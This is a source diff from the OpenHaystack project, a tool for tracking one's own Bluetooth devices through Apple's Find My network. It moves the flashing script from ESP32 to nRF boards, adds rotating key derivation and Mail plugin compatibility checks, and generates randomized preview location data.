@@ -102,38 +116,21 @@ if [[ ! -d "$VENV_DIR" ]]; then
|
||||
echo "Creating the virtual environment in $VENV_DIR failed."
|
||||
exit 1
|
||||
fi
|
||||
echo "# Activate venv and install pynrfjprog and intelhex"
|
||||
source "$VENV_DIR/bin/activate"
|
||||
pip install --upgrade pip
|
||||
pip install esptool
|
||||
pip install pynrfjprog && pip install intelhex
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not install Python 3 module esptool in $VENV_DIR";
|
||||
echo "Could not install Python 3 module pynrfjprog in $VENV_DIR";
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
source "$VENV_DIR/bin/activate"
|
||||
fi
|
||||
|
||||
# Prepare the key
|
||||
KEYFILE="$SCRIPT_DIR/tmp.key"
|
||||
if [[ -f "$KEYFILE" ]]; then
|
||||
echo "$KEYFILE already exists, stopping here not to override files..."
|
||||
exit 1
|
||||
fi
|
||||
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not parse the public key. Please provide valid base64 input"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Call esptool.py. Errors from here on are critical
|
||||
# Call flash_nrf.py. Errors from here on are critical
|
||||
set -e
|
||||
|
||||
# Clear NVM
|
||||
esptool.py --after no_reset \
|
||||
erase_region 0x9000 0x5000
|
||||
esptool.py --before no_reset --baud $BAUDRATE \
|
||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
||||
0xe000 "$KEYFILE" \
|
||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
||||
rm "$KEYFILE"
|
||||
trap cleanup INT TERM EXIT
|
||||
echo "### Executing python script ###"
|
||||
python3 "$(dirname "$0")"/flash_nrf.py --public-key $PUBKEY --symmetric-key $SYMKEY --update-interval $UPDATE_INTERVAL --path-to-hex "$(dirname "$0")"/
|
||||
echo "### Python script finished ###"
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import OSLog
|
||||
@@ -17,7 +19,7 @@ struct KeychainController {
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
kSecMatchLimit: kSecMatchLimitOne,
|
||||
kSecReturnData: true
|
||||
kSecReturnData: true,
|
||||
]
|
||||
|
||||
if test {
|
||||
@@ -49,7 +51,7 @@ struct KeychainController {
|
||||
kSecClass: kSecClassGenericPassword,
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
kSecValueData: try PropertyListEncoder().encode(accessories)
|
||||
kSecValueData: try PropertyListEncoder().encode(accessories),
|
||||
]
|
||||
|
||||
if test {
|
||||
@@ -63,7 +65,7 @@ struct KeychainController {
|
||||
var query: [CFString: Any] = [
|
||||
kSecClass: kSecClassGenericPassword,
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY"
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
]
|
||||
|
||||
if test {
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import AppKit
|
||||
import Foundation
|
||||
@@ -18,8 +20,36 @@ struct MailPluginManager {
|
||||
|
||||
let pluginURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles").appendingPathComponent(mailBundleName + ".mailbundle")
|
||||
|
||||
let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
|
||||
|
||||
var isMailPluginInstalled: Bool {
|
||||
return FileManager.default.fileExists(atPath: pluginURL.path)
|
||||
//Check if the plug-in is compatible by comparing the IDs
|
||||
guard FileManager.default.fileExists(atPath: pluginURL.path) else {
|
||||
return false
|
||||
}
|
||||
|
||||
let infoPlistURL = pluginURL.appendingPathComponent("Contents/Info.plist")
|
||||
let localInfoPlistURL = localPluginURL.appendingPathComponent("Contents/Info.plist")
|
||||
|
||||
guard let infoPlistData = try? Data(contentsOf: infoPlistURL),
|
||||
let infoPlistDict = try? PropertyListSerialization.propertyList(from: infoPlistData, options: [], format: nil) as? [String: AnyHashable],
|
||||
let localInfoPlistData = try? Data(contentsOf: localInfoPlistURL),
|
||||
let localInfoPlistDict = try? PropertyListSerialization.propertyList(from: localInfoPlistData, options: [], format: nil) as? [String: AnyHashable]
|
||||
else { return false }
|
||||
|
||||
//Compare the supported plug-ins
|
||||
let uuidEntries = localInfoPlistDict.keys.filter({ $0.contains("PluginCompatibilityUUIDs") })
|
||||
for uuidEntry in uuidEntries {
|
||||
guard let localEntry = localInfoPlistDict[uuidEntry] as? [String],
|
||||
let installedEntry = infoPlistDict[uuidEntry] as? [String]
|
||||
else { return false }
|
||||
|
||||
if localEntry != installedEntry {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
/// Shows a NSSavePanel to install the mail plugin at the required place.
|
||||
@@ -56,9 +86,8 @@ struct MailPluginManager {
|
||||
throw PluginError.permissionNotGranted
|
||||
}
|
||||
|
||||
let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
|
||||
|
||||
do {
|
||||
// Create the Bundles folder if necessary
|
||||
try FileManager.default.createDirectory(at: pluginsFolderURL, withIntermediateDirectories: true, attributes: nil)
|
||||
} catch {
|
||||
print(error.localizedDescription)
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
@@ -72,10 +74,8 @@ struct MicrobitController {
|
||||
return patchedFirmware
|
||||
}
|
||||
|
||||
static func deploy(accessory: Accessory) throws {
|
||||
let microbits = try MicrobitController.findMicrobits()
|
||||
guard let microBitURL = microbits.first,
|
||||
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||
static func patchFirmware(for accessory: Accessory) throws -> Data {
|
||||
guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||
else {
|
||||
throw FirmwareFlashError.notFound
|
||||
}
|
||||
@@ -85,6 +85,18 @@ struct MicrobitController {
|
||||
let publicKey = try accessory.getAdvertisementKey()
|
||||
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
|
||||
|
||||
return patchedFirmware
|
||||
}
|
||||
|
||||
static func deploy(accessory: Accessory) throws {
|
||||
let microbits = try MicrobitController.findMicrobits()
|
||||
guard let microBitURL = microbits.first
|
||||
else {
|
||||
throw FirmwareFlashError.notFound
|
||||
}
|
||||
|
||||
let patchedFirmware = try self.patchFirmware(for: accessory)
|
||||
|
||||
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CoreLocation
|
||||
import CryptoKit
|
||||
@@ -11,25 +13,76 @@ import Foundation
|
||||
import Security
|
||||
import SwiftUI
|
||||
|
||||
class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
let name: String
|
||||
class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
||||
|
||||
static let icons = [
|
||||
"creditcard.fill", "briefcase.fill", "case.fill", "latch.2.case.fill",
|
||||
"key.fill", "mappin", "globe", "crown.fill",
|
||||
"gift.fill", "car.fill", "bicycle", "figure.walk",
|
||||
"heart.fill", "hare.fill", "tortoise.fill", "eye.fill",
|
||||
]
|
||||
static func randomIcon() -> String {
|
||||
return icons.randomElement() ?? ""
|
||||
}
|
||||
static func randomColor() -> Color {
|
||||
return Color(hue: Double.random(in: 0..<1), saturation: 0.75, brightness: 1)
|
||||
}
|
||||
|
||||
@Published var name: String
|
||||
let id: Int
|
||||
let privateKey: Data
|
||||
let color: Color
|
||||
let icon: String
|
||||
|
||||
let symmetricKey: Data
|
||||
@Published var usesDerivation: Bool
|
||||
@Published var oldestRelevantSymmetricKey: Data
|
||||
@Published var lastDerivationTimestamp: Date
|
||||
@Published var updateInterval: TimeInterval
|
||||
@Published var locations: [FindMyLocationReport]?
|
||||
@Published var color: Color
|
||||
@Published var icon: String
|
||||
@Published var lastLocation: CLLocation?
|
||||
@Published var locationTimestamp: Date?
|
||||
@Published var isDeployed: Bool {
|
||||
didSet(wasDeployed) {
|
||||
// Reset active status if deployed
|
||||
if !wasDeployed && isDeployed {
|
||||
self.isActive = false
|
||||
self.usesDerivation = false
|
||||
} else if wasDeployed && !isDeployed {
|
||||
self.usesDerivation = false
|
||||
self.updateInterval = TimeInterval(60 * 60 * 24)
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Whether the accessory is correctly advertising.
|
||||
@Published var isActive: Bool = false
|
||||
/// Whether this accessory is currently nearby.
|
||||
@Published var isNearby: Bool = false {
|
||||
didSet {
|
||||
if isNearby {
|
||||
self.isActive = true
|
||||
}
|
||||
}
|
||||
}
|
||||
var lastAdvertisement: Date?
|
||||
|
||||
init(name: String, color: Color = Color.white, iconName: String = "briefcase.fill") throws {
|
||||
init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
|
||||
self.name = name
|
||||
guard let key = BoringSSL.generateNewPrivateKey() else {
|
||||
throw KeyError.keyGenerationFailed
|
||||
}
|
||||
self.id = key.hashValue
|
||||
self.privateKey = key
|
||||
let symKey = SymmetricKey(size: .bits256)
|
||||
self.symmetricKey = symKey.withUnsafeBytes {
|
||||
return Data(Array($0))
|
||||
}
|
||||
self.usesDerivation = false
|
||||
self.oldestRelevantSymmetricKey = self.symmetricKey
|
||||
self.lastDerivationTimestamp = Date()
|
||||
self.updateInterval = TimeInterval(60 * 60)
|
||||
self.color = color
|
||||
self.icon = iconName
|
||||
self.isDeployed = false
|
||||
}
|
||||
|
||||
required init(from decoder: Decoder) throws {
|
||||
@@ -37,11 +90,20 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
self.name = try container.decode(String.self, forKey: .name)
|
||||
self.id = try container.decode(Int.self, forKey: .id)
|
||||
self.privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? "briefcase.fill"
|
||||
let symmetricKey = (try? container.decode(Data.self, forKey: .symmetricKey)) ?? SymmetricKey(size: .bits256).withUnsafeBytes { return Data($0) }
|
||||
self.symmetricKey = symmetricKey
|
||||
self.usesDerivation = (try? container.decode(Bool.self, forKey: .usesDerivation)) ?? false
|
||||
self.oldestRelevantSymmetricKey = (try? container.decode(Data.self, forKey: .oldestRelevantSymmetricKey)) ?? symmetricKey
|
||||
self.lastDerivationTimestamp = (try? container.decode(Date.self, forKey: .lastDerivationTimestamp)) ?? Date()
|
||||
self.updateInterval = (try? container.decode(TimeInterval.self, forKey: .updateInterval)) ?? TimeInterval(60 * 60 * 24)
|
||||
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
|
||||
self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
|
||||
self.isActive = (try? container.decode(Bool.self, forKey: .isActive)) ?? false
|
||||
|
||||
if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
|
||||
let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
|
||||
let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents) {
|
||||
let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents)
|
||||
{
|
||||
self.color = Color(cgColor)
|
||||
} else {
|
||||
self.color = Color.white
|
||||
@@ -54,10 +116,18 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
try container.encode(self.name, forKey: .name)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.privateKey, forKey: .privateKey)
|
||||
try container.encode(self.symmetricKey, forKey: .symmetricKey)
|
||||
try container.encode(self.usesDerivation, forKey: .usesDerivation)
|
||||
try container.encode(self.oldestRelevantSymmetricKey, forKey: .oldestRelevantSymmetricKey)
|
||||
try container.encode(self.lastDerivationTimestamp, forKey: .lastDerivationTimestamp)
|
||||
try container.encode(self.updateInterval, forKey: .updateInterval)
|
||||
try container.encode(self.icon, forKey: .icon)
|
||||
try container.encode(self.isDeployed, forKey: .isDeployed)
|
||||
try container.encode(self.isActive, forKey: .isActive)
|
||||
|
||||
if let colorComponents = self.color.cgColor?.components,
|
||||
let colorSpace = self.color.cgColor?.colorSpace?.name {
|
||||
let colorSpace = self.color.cgColor?.colorSpace?.name
|
||||
{
|
||||
try container.encode(colorComponents, forKey: .colorComponents)
|
||||
try container.encode(colorSpace as String, forKey: .colorSpaceName)
|
||||
}
|
||||
@@ -72,6 +142,15 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
return publicKey
|
||||
}
|
||||
|
||||
/// Get Uncompressed public key
|
||||
/// This is needed for libraries such as mbedtls that do not support loading compressed points
|
||||
func getUncompressedPublicKey() throws -> Data {
|
||||
guard let publicKey = BoringSSL.deriveUncompressedPublicKey(fromPrivateKey: self.privateKey) else {
|
||||
throw KeyError.keyDerivationFailed
|
||||
}
|
||||
return publicKey
|
||||
}
|
||||
|
||||
func getAdvertisementKey() throws -> Data {
|
||||
guard var publicKey = BoringSSL.derivePublicKey(fromPrivateKey: self.privateKey) else {
|
||||
throw KeyError.keyDerivationFailed
|
||||
@@ -92,6 +171,10 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
try self.hashedPublicKey().base64EncodedString()
|
||||
}
|
||||
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(self.id)
|
||||
}
|
||||
|
||||
private func hashedPublicKey() throws -> Data {
|
||||
let publicKey = try self.getAdvertisementKey()
|
||||
var sha = SHA256()
|
||||
@@ -101,37 +184,149 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
return Data(digest)
|
||||
}
|
||||
|
||||
func getNewestSymmetricKey() -> Data {
|
||||
var derivationTimestamp = self.lastDerivationTimestamp
|
||||
var symmetricKey = self.oldestRelevantSymmetricKey
|
||||
while derivationTimestamp < Date() {
|
||||
derivationTimestamp.addTimeInterval(self.updateInterval)
|
||||
symmetricKey = Accessory.kdf(inputData: self.symmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
|
||||
}
|
||||
return symmetricKey
|
||||
}
|
||||
|
||||
func toFindMyDevice() throws -> FindMyDevice {
|
||||
|
||||
let findMyKey = FindMyKey(
|
||||
advertisedKey: try self.getAdvertisementKey(),
|
||||
hashedKey: try self.hashedPublicKey(),
|
||||
privateKey: self.privateKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
var findMyKey = [FindMyKey]()
|
||||
|
||||
/// Always append first FindMyKey to support devices without derivation
|
||||
findMyKey.append(
|
||||
FindMyKey(
|
||||
advertisedKey: try self.getAdvertisementKey(),
|
||||
hashedKey: try self.hashedPublicKey(),
|
||||
privateKey: self.privateKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
)
|
||||
if self.usesDerivation {
|
||||
/// Derive FindMyKeys until we have symmetric key from one week before now
|
||||
while self.lastDerivationTimestamp < Date() - TimeInterval(7 * 24 * 60 * 60) {
|
||||
self.lastDerivationTimestamp.addTimeInterval(self.updateInterval)
|
||||
self.oldestRelevantSymmetricKey = Accessory.kdf(inputData: self.oldestRelevantSymmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
|
||||
}
|
||||
|
||||
/// we need to generate Keys from seven days in the past until now and 10 extra keys in case of desynchronization
|
||||
let untilDate = Date() + TimeInterval(self.updateInterval * 11)
|
||||
var derivationTimestamp = self.lastDerivationTimestamp
|
||||
var derivedSymmetricKey = self.oldestRelevantSymmetricKey
|
||||
|
||||
print("--- Derived keys for \(self.name) ---")
|
||||
print("Masterbacon symmetric key \(self.symmetricKey.hexEncodedString())")
|
||||
do {
|
||||
let uncompressedMasterBeaconKey = try self.getUncompressedPublicKey()
|
||||
print("Masterbeacon public key (uncompressed) \(uncompressedMasterBeaconKey.hexEncodedString())")
|
||||
} catch {
|
||||
print("Failed to get master beacon public key (only needed for printing)")
|
||||
}
|
||||
|
||||
while derivationTimestamp < untilDate {
|
||||
/// Step 1: derive SKN_i
|
||||
derivedSymmetricKey = Accessory.kdf(inputData: derivedSymmetricKey, sharedInfo: "update".data(using: .ascii)!, bytesToReturn: 32)
|
||||
/// Step 2: derive u_i and v_i
|
||||
let derivedAntiTrackingKeys = Accessory.kdf(inputData: derivedSymmetricKey, sharedInfo: "diversify".data(using: .ascii)!, bytesToReturn: 72)
|
||||
/// Step 3 & 4: compute private and public key
|
||||
guard let derivedPrivateKey = BoringSSL.calculatePrivateKey(fromSharedData: derivedAntiTrackingKeys, masterBeaconPrivateKey: self.privateKey) else {
|
||||
throw KeyError.keyDerivationFailed
|
||||
}
|
||||
guard let derivedPublicKey = BoringSSL.derivePublicKey(fromPrivateKey: derivedPrivateKey) else {
|
||||
throw KeyError.keyDerivationFailed
|
||||
}
|
||||
|
||||
/// Drop first byte to get advertisment key
|
||||
let derivedAdvertisementKey = derivedPublicKey.dropFirst()
|
||||
guard derivedAdvertisementKey.count == 28 else { throw KeyError.keyDerivationFailed }
|
||||
|
||||
/// Get hash of advertisment key
|
||||
var sha = SHA256()
|
||||
sha.update(data: derivedAdvertisementKey)
|
||||
let derivedAdvertisementKeyHash = Data(sha.finalize())
|
||||
|
||||
print("-> Derived keys for \(derivationTimestamp):")
|
||||
//print("Dervided anti tracking keys \(derivedAntiTrackingKeys.hexEncodedString())")
|
||||
//print("SymmetricKey \(derivedSymmetricKey.hexEncodedString())")
|
||||
print("Derived public key \(derivedPublicKey.hexEncodedString())")
|
||||
|
||||
findMyKey.append(
|
||||
FindMyKey(
|
||||
advertisedKey: derivedAdvertisementKey,
|
||||
hashedKey: derivedAdvertisementKeyHash,
|
||||
privateKey: derivedPrivateKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
)
|
||||
|
||||
/// Add time interval to derivation timestamp
|
||||
derivationTimestamp.addTimeInterval(self.updateInterval)
|
||||
}
|
||||
}
|
||||
|
||||
return FindMyDevice(
|
||||
deviceId: String(self.id),
|
||||
keys: [findMyKey],
|
||||
keys: findMyKey,
|
||||
catalinaBigSurKeyFiles: nil,
|
||||
reports: nil,
|
||||
decryptedReports: nil)
|
||||
}
|
||||
|
||||
static func kdf(inputData: Data, sharedInfo: Data, bytesToReturn: Int) -> Data {
|
||||
var derivedKey = Data()
|
||||
var counter: Int32 = 1
|
||||
|
||||
/// derive from input and shared info until we have enough data
|
||||
while derivedKey.count < bytesToReturn {
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: inputData)
|
||||
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: sharedInfo)
|
||||
derivedKey.append(Data(shaDigest.finalize()))
|
||||
counter += 1
|
||||
}
|
||||
|
||||
/// drop bytes which are not needed and return
|
||||
derivedKey = derivedKey.dropLast(derivedKey.count - bytesToReturn)
|
||||
return derivedKey
|
||||
}
|
||||
|
||||
func resetDerivationState() {
|
||||
/// reset keys and derivation time in case an accessory is reflashed with old keys
|
||||
self.oldestRelevantSymmetricKey = self.symmetricKey
|
||||
self.lastDerivationTimestamp = Date()
|
||||
}
|
||||
|
||||
enum CodingKeys: String, CodingKey {
|
||||
case name
|
||||
case id
|
||||
case privateKey
|
||||
case usesDerivation
|
||||
case symmetricKey
|
||||
case oldestRelevantSymmetricKey
|
||||
case lastDerivationTimestamp
|
||||
case updateInterval
|
||||
case colorComponents
|
||||
case colorSpaceName
|
||||
case icon
|
||||
case isDeployed
|
||||
case isActive
|
||||
}
|
||||
|
||||
static func == (lhs: Accessory, rhs: Accessory) -> Bool {
|
||||
return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon
|
||||
return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon && lhs.isDeployed == rhs.isDeployed
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,10 +1,13 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CoreLocation
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
@@ -14,26 +17,47 @@ struct PreviewData {
|
||||
return accessoryList()
|
||||
}()
|
||||
|
||||
static let latitude: Double = 49.878046
|
||||
static let longitude: Double = 8.656993
|
||||
|
||||
static func randomLocation(lat: Double = latitude, lng: Double = longitude, distance: Double = 0.005) -> CLLocation {
|
||||
return CLLocation(
|
||||
latitude: lat + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1),
|
||||
longitude: lng + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1)
|
||||
)
|
||||
}
|
||||
|
||||
static func randomTimestamp() -> Date {
|
||||
return Date.init().addingTimeInterval(TimeInterval(-Double.random(in: 0..<24 * 60 * 60)))
|
||||
}
|
||||
|
||||
static func previewAccessory(name: String, color: Color, icon: String) -> Accessory {
|
||||
let accessory = try! Accessory(name: name, color: color, iconName: icon)
|
||||
accessory.lastLocation = randomLocation()
|
||||
accessory.locationTimestamp = randomTimestamp()
|
||||
accessory.isDeployed = true
|
||||
accessory.isActive = true
|
||||
accessory.isNearby = Bool.random()
|
||||
//Generate recent locations
|
||||
let startDate = Date().addingTimeInterval(-60 * 60 * 24)
|
||||
var date = startDate
|
||||
var locations: [FindMyLocationReport] = []
|
||||
while date < Date() {
|
||||
let location = randomLocation(lat: accessory.lastLocation!.coordinate.latitude, lng: accessory.lastLocation!.coordinate.longitude, distance: 0.0005)
|
||||
locations.append(FindMyLocationReport(lat: location.coordinate.latitude, lng: location.coordinate.longitude, acc: 10, dP: date, t: date, c: 0))
|
||||
date += 30 * 60
|
||||
}
|
||||
accessory.locations = locations
|
||||
return accessory
|
||||
}
|
||||
|
||||
static func accessoryList() -> [Accessory] {
|
||||
|
||||
let latitude: Double = 52.5219814
|
||||
let longitude: Double = 13.413306
|
||||
|
||||
let backpack = try! Accessory(name: "Backpack", color: Color.green, iconName: "briefcase.fill")
|
||||
backpack.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000)) / 100000, longitude: longitude + (Double(arc4random() % 1000)) / 100000)
|
||||
|
||||
let bag = try! Accessory(name: "Bag", color: Color.blue, iconName: "latch.2.case.fill")
|
||||
bag.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000)) / 100000, longitude: longitude + (Double(arc4random() % 1000)) / 100000)
|
||||
|
||||
let car = try! Accessory(name: "Car", color: Color.red, iconName: "car.fill")
|
||||
car.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000)) / 100000, longitude: longitude + (Double(arc4random() % 1000)) / 100000)
|
||||
|
||||
let keys = try! Accessory(name: "Keys", color: Color.orange, iconName: "key.fill")
|
||||
keys.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000)) / 100000, longitude: longitude + (Double(arc4random() % 1000)) / 100000)
|
||||
|
||||
let items = try! Accessory(name: "Items", color: Color.gray, iconName: "mappin")
|
||||
items.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000)) / 100000, longitude: longitude + (Double(arc4random() % 1000)) / 100000)
|
||||
|
||||
return [backpack, bag, car, keys, items]
|
||||
return [
|
||||
previewAccessory(name: "Backpack", color: Color.green, icon: "briefcase.fill"),
|
||||
previewAccessory(name: "Bag", color: Color.blue, icon: "latch.2.case.fill"),
|
||||
previewAccessory(name: "Car", color: Color.red, icon: "car.fill"),
|
||||
previewAccessory(name: "Keys", color: Color.orange, icon: "key.fill"),
|
||||
previewAccessory(name: "Items", color: Color.gray, icon: "mappin"),
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
72
OpenHaystack/OpenHaystack/HaystackApp/NRFController.swift
Normal file
72
OpenHaystack/OpenHaystack/HaystackApp/NRFController.swift
Normal file
@@ -0,0 +1,72 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
struct NRFController {
|
||||
|
||||
static var nrfFirmwareDirectory: URL? {
|
||||
Bundle.main.resourceURL?.appendingPathComponent("NRF")
|
||||
}
|
||||
|
||||
/// Runs the script to flash the firmware onto an nRF Device.
|
||||
static func flashToNRF(accessory: Accessory, updateInterval: Int, completion: @escaping (ClosureResult) -> Void) throws {
|
||||
// Copy firmware to a temporary directory
|
||||
let temp = NSTemporaryDirectory() + "OpenHaystack"
|
||||
let urlTemp = URL(fileURLWithPath: temp)
|
||||
try? FileManager.default.removeItem(at: urlTemp)
|
||||
|
||||
try? FileManager.default.createDirectory(atPath: temp, withIntermediateDirectories: false, attributes: nil)
|
||||
|
||||
guard let nrfDirectory = nrfFirmwareDirectory else { return }
|
||||
|
||||
try FileManager.default.copyFolder(from: nrfDirectory, to: urlTemp)
|
||||
let urlScript = urlTemp.appendingPathComponent("flash_nrf.sh")
|
||||
try FileManager.default.setAttributes([FileAttributeKey.posixPermissions: 0o755], ofItemAtPath: urlScript.path)
|
||||
try FileManager.default.setAttributes([FileAttributeKey.posixPermissions: 0o755], ofItemAtPath: urlTemp.appendingPathComponent("flash_nrf.py").path)
|
||||
|
||||
// Get public key, newest relevant symmetric key and updateInterval for flashing
|
||||
let masterBeaconPublicKey = try accessory.getUncompressedPublicKey()
|
||||
let masterBeaconSymmetricKey = accessory.getNewestSymmetricKey()
|
||||
let arguments = [masterBeaconPublicKey.base64EncodedString(), masterBeaconSymmetricKey.base64EncodedString(), String(updateInterval)]
|
||||
|
||||
// Create file for logging and get file handle
|
||||
let loggingFileUrl = urlTemp.appendingPathComponent("nrf_installer.log")
|
||||
try "".write(to: loggingFileUrl, atomically: true, encoding: .utf8)
|
||||
let loggingFileHandle = FileHandle.init(forWritingAtPath: loggingFileUrl.path)!
|
||||
|
||||
// Run script
|
||||
let task = try NSUserUnixTask(url: urlScript)
|
||||
task.standardOutput = loggingFileHandle
|
||||
task.standardError = loggingFileHandle
|
||||
task.execute(withArguments: arguments) { e in
|
||||
DispatchQueue.main.async {
|
||||
if let error = e {
|
||||
completion(.failure(loggingFileUrl, error))
|
||||
} else {
|
||||
completion(.success(loggingFileUrl))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
try loggingFileHandle.close()
|
||||
}
|
||||
}
|
||||
|
||||
enum ClosureResult {
|
||||
case success(URL)
|
||||
case failure(URL, Error)
|
||||
}
|
||||
|
||||
enum NRFFirmwareFlashError: Error {
|
||||
/// Missing files for flashing
|
||||
case notFound
|
||||
/// Flashing / writing failed
|
||||
case flashFailed
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
/// Can check if a new OpenHaystack version is needed and download it.
|
||||
public struct UpdateCheckController {
|
||||
|
||||
public static func checkForNewVersion() {
|
||||
// Load the GitHub Releases page
|
||||
let releasesURL = URL(string: "https://github.com/seemoo-lab/openhaystack/releases")!
|
||||
URLSession.shared.dataTask(with: releasesURL) { optionalData, response, error in
|
||||
guard let data = optionalData,
|
||||
(response as? HTTPURLResponse)?.statusCode == 200,
|
||||
let htmlString = String(data: data, encoding: .utf8)
|
||||
else {
|
||||
return
|
